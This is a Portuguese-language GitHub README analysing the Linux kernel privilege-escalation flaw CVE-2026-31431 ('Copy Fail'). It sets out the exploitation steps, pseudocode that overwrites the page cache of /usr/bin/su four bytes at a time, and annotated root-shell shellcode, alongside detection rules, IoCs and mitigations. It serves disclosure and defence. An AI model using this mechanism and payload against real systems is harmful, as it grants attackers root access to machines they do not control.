Skip to content

darioomatos/cve-2026-31431-copyfail

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 

Repository files navigation

CVE-2026-31431 — "Copy Fail" 🔐

Análise técnica educacional de uma das vulnerabilidades mais significativas do kernel Linux desde o Dirty Pipe (2022).
Este repositório é voltado para pesquisa, estudo e defesa. Nenhum exploit funcional é distribuído aqui.


Índice


O que é?

CVE-2026-31431, apelidada de Copy Fail, é uma vulnerabilidade de escalonamento local de privilégios (LPE — Local Privilege Escalation) no kernel Linux. Ela permite que qualquer usuário sem privilégios obtenha acesso root em questão de segundos.

Atributo Valor
CVE CVE-2026-31431
CVSS Score 7.8 HIGH
Tipo Local Privilege Escalation (LPE)
Subsistema crypto/algif_aead.c — AF_ALG
Introduzida em Kernel 4.14 (commit 72548b093ee3, julho 2017)
Corrigida em 6.18.22 / 6.19.12 / 7.0 (commit a664bf3d603d)
Descoberta por Taeyang Lee — Theori / Xint Code
Divulgação pública 29 de abril de 2026
PoC público Sim — script Python de ~732 bytes

Para leigos: a analogia

Imagine que o sistema operacional tem uma memória de trabalho (chamada de page cache) onde guarda cópias dos arquivos que estão sendo usados. Quando você executa um programa, o sistema carrega esse programa nessa memória e o executa a partir dali — não diretamente do disco.

A Copy Fail permite que um usuário comum altere essa cópia em memória de um programa especial (um binário setuid, como o comando su) sem tocar no arquivo original no disco. O arquivo no disco continua intacto, mas quando o programa é executado, o sistema lê a versão corrompida da memória.

É como trocar a receita de um prato na memória de um chef enquanto ele está cozinhando — o livro de receitas original não muda, mas o prato que sai é completamente diferente.

O resultado: o programa corrompido executa código do atacante com permissões de root.

O que torna isso especialmente perigoso:

  • Não há janela de condição de corrida — é determinístico
  • Não deixa rastro no disco (forense de disco não detecta)
  • Funciona em praticamente todas as distribuições Linux desde 2017
  • O exploit original tem apenas ~700 bytes de Python

Linha do tempo

2015  → AF_ALG ganha suporte a AEAD (algif_aead.c)
          authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)

2017  → Commit 72548b093ee3: otimização converte operação para in-place
          req->src = req->dst  →  páginas do page cache entram na scatterlist de escrita
          BUG INTRODUZIDO — passa despercebido por ~9 anos

2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux
               Descoberta assistida por IA (Xint Code — ~1h de scan)

2026 Abr  1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017

2026 Abr 22 → CVE-2026-31431 atribuída

2026 Abr 29 → Divulgação pública + PoC Python liberado
               Arch Linux, Fedora, Amazon Linux já com patches
               Ubuntu, RHEL, SUSE publicam guidance de mitigação

2026 Mai  1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux
               Adicionado ao CISA KEV (Known Exploited Vulnerabilities)
               Exploits em Go e Rust aparecem em repositórios públicos

Como funciona tecnicamente

Visão geral do fluxo

Atacante (usuário sem privilégios)
    │
    ├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
    │       Cria socket de criptografia no kernel
    │       bind: "authencesn(hmac(sha256),cbc(aes))"
    │
    ├─ 2. setsockopt: define chave AEAD + authsize=4
    │
    ├─ 3. accept() → op_socket
    │
    ├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
    │       AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
    │
    ├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
    │       CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
    │       As páginas do arquivo agora estão no destino GRAVÁVEL da operação
    │
    ├─ 6. recv() → dispara o authencesn
    │       authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
    │       Escreve 4 bytes em dst[assoclen + cryptlen]
    │       = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
    │       HMAC falha → retorna EBADMSG → IGNORADO
    │
    └─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
           Executa o binário alvo → root shell

Root cause: in-place operation + sg_chain()

O bug vive em crypto/algif_aead.c. Em 2017, a operação AEAD foi convertida para in-place para ganhar performance:

// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst;  // mesma scatterlist para entrada e saída

// Para a tag de autenticação, em vez de copiar, o código encadeia por referência:
sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl);
// ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA

O algoritmo authencesn usa o buffer de destino como scratch space para reorganizar bytes do Extended Sequence Number (ESN) do IPsec:

// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
//                                       ^^^^^^^^^^^^^^^^^^^^^^^^^
//                                       offset que ultrapassa o output buffer
//                                       e cai nas páginas do page cache encadeadas

Por que não deixa rastro

A escrita contorna completamente o VFS. A página modificada nunca é marcada como dirty pelo mecanismo de writeback do kernel. O arquivo em disco permanece intacto. Ferramentas de integridade baseadas em hash (aide, tripwire, inotifywait) não detectam nada porque monitoram o disco, não o page cache.


O shellcode analisado

O exploit embute um mini-ELF de 160 bytes comprimido com zlib. Após descompressão, a parte executável é:

; Offset 0x78 no arquivo ELF (entry point)

xor eax, eax          ; limpa registradores
xor edi, edi          ; uid = 0
mov al, 0x69          ; syscall 105 = setuid
syscall               ; setuid(0) → effective UID = root

lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0"
xor esi, esi          ; argv = NULL
push 0x3b             ; syscall 59 = execve
pop rax
cdq                   ; rdx = 0 (envp = NULL)
syscall               ; execve("/bin/sh", NULL, NULL)

; Fallback
xor edi, edi
push 0x3c             ; syscall 60 = exit
pop rax
syscall               ; exit(0)

bin_sh: db "/bin/sh", 0

Estrutura do ELF mínimo (160 bytes total):

Offset 0x00–0x3F  → ELF64 Header (64 bytes)
                    e_type=ET_EXEC, e_machine=EM_X86_64
                    e_entry=0x400078, e_phnum=1

Offset 0x40–0x77  → Program Header PT_LOAD (56 bytes)
                    p_flags=PF_R|PF_X, p_vaddr=0x400000
                    p_filesz=0x9e

Offset 0x78–0x9D  → Shellcode (26 bytes código + "/bin/sh\0")

Comparação com vulnerabilidades similares

Dirty Cow (2016) Dirty Pipe (2022) Copy Fail (2026)
CVE CVE-2016-5195 CVE-2022-0847 CVE-2026-31431
Tipo Race condition em CoW Pipe buffer sem flags Logic bug em AEAD
Confiabilidade Race-dependent (~ms) Determinístico Determinístico
Rastro em disco Sim (dirty pages) Não Não
Portabilidade Ampla Versões específicas Universal (2017–2026)
Tamanho do PoC ~50 linhas C ~40 linhas C ~10 linhas Python
Subsistema mm/ (CoW) fs/ (pipe) crypto/ (AF_ALG)
Descoberta Manual Manual AI-assisted
Janela de exploração Race window Nenhuma Nenhuma

Sistemas afetados

Versões do kernel:

  • Introduzida: Linux 4.14 (julho 2017)
  • Corrigida: 6.18.22, 6.19.12, 7.0

Distribuições com exploits funcionais confirmados:

  • Ubuntu 24.04 LTS
  • Amazon Linux 2023
  • Red Hat Enterprise Linux 10.1
  • SUSE Linux Enterprise 16
  • Debian, Fedora, Arch Linux, AlmaLinux, Rocky Linux

Condição necessária: CONFIG_CRYPTO_USER_API_AEAD=y ou =m no kernel

Verificar se o sistema está exposto:

# Verifica se o módulo está disponível
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
# =y → built-in (mais difícil de desabilitar)
# =m → módulo carregável (pode ser bloqueado via modprobe)
# (ausente) → não afetado

# Teste direto (não causa dano, apenas testa acesso):
python3 -c "
import socket
try:
    s = socket.socket(38, 5, 0)
    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
    print('⚠️  EXPOSTO: algif_aead acessível')
    s.close()
except Exception as e:
    print(f'✅ Bloqueado: {e}')
"

Android é afetado?

Resposta curta: Android padrão (AOSP/GKI) não é vulnerável na prática, mas dispositivos com configurações não-padrão merecem verificação.

Análise por pré-requisito

Pré-requisito                 Android AOSP/GKI padrão    Android OEM/rooteado
──────────────────────────────────────────────────────────────────────────────
Kernel na faixa afetada       ✅ Sim (Android 12–16)      ✅ Sim
algif_aead habilitado         ❌ Não (fora do GKI)        ⚠️  Possível (OEM config)
AF_ALG acessível a apps       ❌ Bloqueado SELinux+seccomp ⚠️  Depende da policy
Binário setuid disponível     ❌ Android não usa setuid    ⚠️  Apenas builds eng/root
──────────────────────────────────────────────────────────────────────────────
Exploração via APK            ❌ Inviável                  ❌ Inviável
Exploração via ADB shell      ❌ Bloqueado por SELinux     ⚠️  Possível (permissive)

Por que o Android é naturalmente protegido

1. CONFIG_CRYPTO_USER_API_AEAD ausente no GKI O Google não inclui essa opção no gki_defconfig arm64 padrão. O Android usa BoringSSL em userspace para criptografia, não depende de AF_ALG.

2. SELinux enforcing A domain untrusted_app do SELinux do Android não possui permissão create para AF_ALG. A chamada socket(AF_ALG, SOCK_SEQPACKET, 0) é negada com EACCES antes de chegar ao subsistema de criptografia.

3. Seccomp-bpf Apps Android rodam com filtro seccomp que bloqueia socket() com domain=AF_ALG — não está na whitelist de syscalls permitidas para aplicativos de terceiros.

4. Ausência de binários setuid O Android não usa o modelo setuid do Linux tradicional. Binários privilegiados usam capabilities específicas ou rodam como serviços com UIDs dedicados. Não há /usr/bin/su em builds de produção AOSP.

Cenários de risco no Android

Cenário Risco
Dispositivo com Magisk/KernelSU + SELinux permissive Alto — todos os pré-requisitos podem se alinhar
Kernel OEM com CONFIG_CRYPTO_USER_API_AEAD=y + eng build Médio — depende do acesso shell
App malicioso em dispositivo não-rooteado Nenhum — SELinux + seccomp bloqueiam
ADB em build de produção Nenhumadb root não funciona

Como verificar um dispositivo Android

# Verificar config do kernel
adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD

# Verificar modo SELinux
adb shell getenforce
# Enforcing = protegido / Permissive = risco potencial

# Teste direto (requer adb shell funcional)
adb shell python3 -c "
import socket
try:
    s = socket.socket(38, 5, 0)
    s.bind(('aead','authencesn(hmac(sha256),cbc(aes))'))
    print('EXPOSTO')
except Exception as e:
    print('Bloqueado:', e)
" 2>/dev/null || echo "python3 não disponível no device"

# Procurar binários setuid (incomum em Android padrão)
adb shell find /system /vendor -perm -4000 -type f 2>/dev/null

Detecção

Falco (runtime detection)

- rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado
  desc: >
    Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da
    toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431.
  condition: >
    evt.type = socket
    and evt.rawres >= 0
    and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG)
    and (evt.arg.type = 5 or evt.arg.type = 2053)
    and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup,
                          integritysetup, kcapi-enc, kcapi-dgst)
  output: >
    AF_ALG AEAD socket por processo suspeito
    (proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline)
  priority: CRITICAL
  tags: [CVE-2026-31431, kernel, privilege_escalation]

Indicadores de comprometimento (IoCs)

# Processo Python que abre AF_ALG seguido de execução de shell
# strace de processo suspeito mostrando:
#   socket(AF_ALG=38, SOCK_SEQPACKET, 0)
#   bind(..., "authencesn(hmac(sha256),cbc(aes))", ...)
#   splice(...)  ← arquivo → pipe → socket
#   recvmsg(...)
# Seguido de:
#   setuid(0)
#   execve("/bin/sh", ...)

# Red flags nos logs do sistema:
# - Processo não-root com UID transitioning para 0
# - python3 como parent de sh/bash
# - Sequência socket+splice+recv em processo de usuário comum

Verificar se o sistema foi comprometido

# Page cache pode ser limpo com:
echo 3 > /proc/sys/vm/drop_caches
# Isso desfaz a corrupção em memória (sem trocar o binário em disco)

# Verificar integridade do binário em execução vs. disco:
# (não detecta a corrupção enquanto a página está no cache)
sha256sum /usr/bin/su
# Compare com o hash de referência da distribuição

Mitigação e patches

Opção 1 — Atualizar o kernel (recomendado)

# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-generic
sudo reboot

# RHEL / AlmaLinux / Rocky Linux
sudo dnf upgrade kernel
sudo reboot

# Fedora
sudo dnf upgrade kernel
sudo reboot

# Arch Linux
sudo pacman -Syu linux
sudo reboot

# Verificar versão após reboot:
uname -r
# Deve ser >= 6.18.22 ou >= 6.19.12 conforme sua série

Versões corrigidas por série:

Série Versão corrigida
5.10.x 5.10.254
5.15.x 5.15.204
6.1.x 6.1.170
6.6.x 6.6.137
6.12.x 6.12.85
6.18.x 6.18.22
6.19.x 6.19.12
7.0+ 7.0 (fix included)

Opção 2 — Desabilitar algif_aead (workaround temporário)

Se CONFIG_CRYPTO_USER_API_AEAD=m (módulo carregável):

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || true

Se CONFIG_CRYPTO_USER_API_AEAD=y (built-in — caso RHEL/Rocky/CloudLinux):

⚠️ O comando acima não funciona quando o módulo está compilado no kernel.

# Use o initcall_blacklist via grubby:
grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
sudo reboot

# Verificar se o mitigation está ativo:
cat /proc/cmdline | grep algif_aead_init

Confirmar que o workaround está funcionando:

python3 -c "
import socket
try:
    s = socket.socket(38, 5, 0)
    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
    print('❌ MITIGAÇÃO FALHOU — socket ainda acessível')
except:
    print('✅ Mitigação ativa — socket bloqueado')
"

Compatibilidade do workaround: O bloqueio do algif_aead não afeta dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS, SSH. Apenas afeta aplicações que explicitamente usam AF_ALG para AEAD (raro — ex: OpenSSL com engine afalg, hardware crypto offload).

Opção 3 — Seccomp / LSM para ambientes containerizados

# Perfil seccomp para bloquear AF_ALG em containers:
{
  "syscalls": [{
    "names": ["socket"],
    "action": "SCMP_ACT_ERRNO",
    "args": [{
      "index": 0,
      "value": 38,
      "op": "SCMP_CMP_EQ"
    }]
  }]
}

Implementações de estudo

Este repositório documenta o mecanismo do exploit em múltiplas linguagens para fins educacionais. O foco é entender como a vulnerabilidade funciona, não distribuir ferramentas ofensivas.

Estrutura do mecanismo (pseudocódigo)

função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]):
    alg = socket(AF_ALG, SEQPACKET)
    alg.bind("authencesn(hmac(sha256),cbc(aes))")
    alg.set_key(chave_36_bytes)
    alg.set_authsize(4)          ← 4 bytes = tamanho do write primitivo
    op = alg.accept()

    # O segredo: bytes[0:4] vão para posições [4:8] do AAD
    # authencesn lerá isso como seqno_lo e escreverá no page cache
    aad = [0,0,0,0] + bytes      ← [seqno_hi=0][seqno_lo=bytes_desejados]

    op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8])

    pipe_r, pipe_w = pipe()
    splice(arquivo → pipe_w, len=offset+4, src_offset=0)
    splice(pipe_r  → op,     len=offset+4)
    # ↑ Injeta page cache na scatterlist do AF_ALG

    op.recv()  ← dispara authencesn → escrita acontece → EBADMSG ignorado

# Uso:
elf_payload = descomprime(payload_zlib)
fd = open("/usr/bin/su", O_RDONLY)
para cada chunk[4] em elf_payload:
    escreve_4_bytes_no_page_cache(fd, offset, chunk)
executa("/usr/bin/su")  ← agora executa nosso ELF → root

Linguagens documentadas

Linguagem Descrição
Python (deobfuscado) Versão limpa e comentada do PoC original
NASM x86_64 O ELF payload anotado instrução por instrução
Go Usando syscall.RawSyscall6 para SYS_SPLICE e SYS_SETSOCKOPT diretamente
C Implementação com struct msghdr, CMSG_DATA, e zlib runtime

O arquivo copyfail_study.md contém as implementações completas e comentadas.

Sobre o payload ELF

O shellcode recuperado (após descompressão zlib do PoC) faz:

1. setuid(0)              → syscall 105 (0x69)
2. execve("/bin/sh",0,0)  → syscall 59  (0x3b) com /bin/sh como string inline
3. exit(0)                → syscall 60  (0x3c) — fallback

Total: 26 bytes de código + 8 bytes de string = 34 bytes de shellcode dentro de um ELF de 160 bytes.


Referências

Recurso Link
Writeup original (Theori/Xint) https://xint.io/blog/copy-fail-linux-distributions
Site oficial da CVE https://copy.fail
NVD https://nvd.nist.gov/vuln/detail/CVE-2026-31431
Repositório PoC original https://github.com/theori-io/copy-fail-CVE-2026-31431
Patch mainline https://git.kernel.org/stable/c/a664bf3d603d
Wikipedia https://en.wikipedia.org/wiki/Copy_Fail
Análise Sysdig + Falco rule https://sysdig.com/blog/cve-2026-31431-copy-fail
Análise Microsoft Defender https://microsoft.com/security/blog/2026/05/01/cve-2026-31431
FAQ Tenable https://tenable.com/blog/copy-fail-cve-2026-31431
Advisory CERT-EU https://cert.europa.eu/publications/security-advisories/2026-005
Análise Bugcrowd https://bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431
Discussão OSS-Security https://openwall.com/lists/oss-security/2026/04/29/23
AlmaLinux patch https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail
CloudLinux patch + análise workaround https://blog.cloudlinux.com/cve-2026-31431-copy-fail
Kaspersky / Securelist https://securelist.com/copyfail-root-linux/119634

Disclaimer

Este repositório tem finalidade exclusivamente educacional e de pesquisa em segurança defensiva. O conteúdo aqui presente destina-se a:

  • Profissionais de segurança ofensiva e defensiva
  • Pesquisadores de vulnerabilidades
  • Estudantes de segurança da informação
  • Administradores de sistemas que precisam entender o risco para mitigá-lo

Não utilize este conhecimento em sistemas sem autorização explícita do proprietário. O acesso não autorizado a sistemas computacionais é crime em praticamente todas as jurisdições (no Brasil, Lei 12.737/2012 — Lei Carolina Dieckmann; Lei 14.155/2021).


Última atualização: maio de 2026
Contribuições bem-vindas via PR — mantenha o foco educacional e defensivo.

Packages

 
 
 

Contributors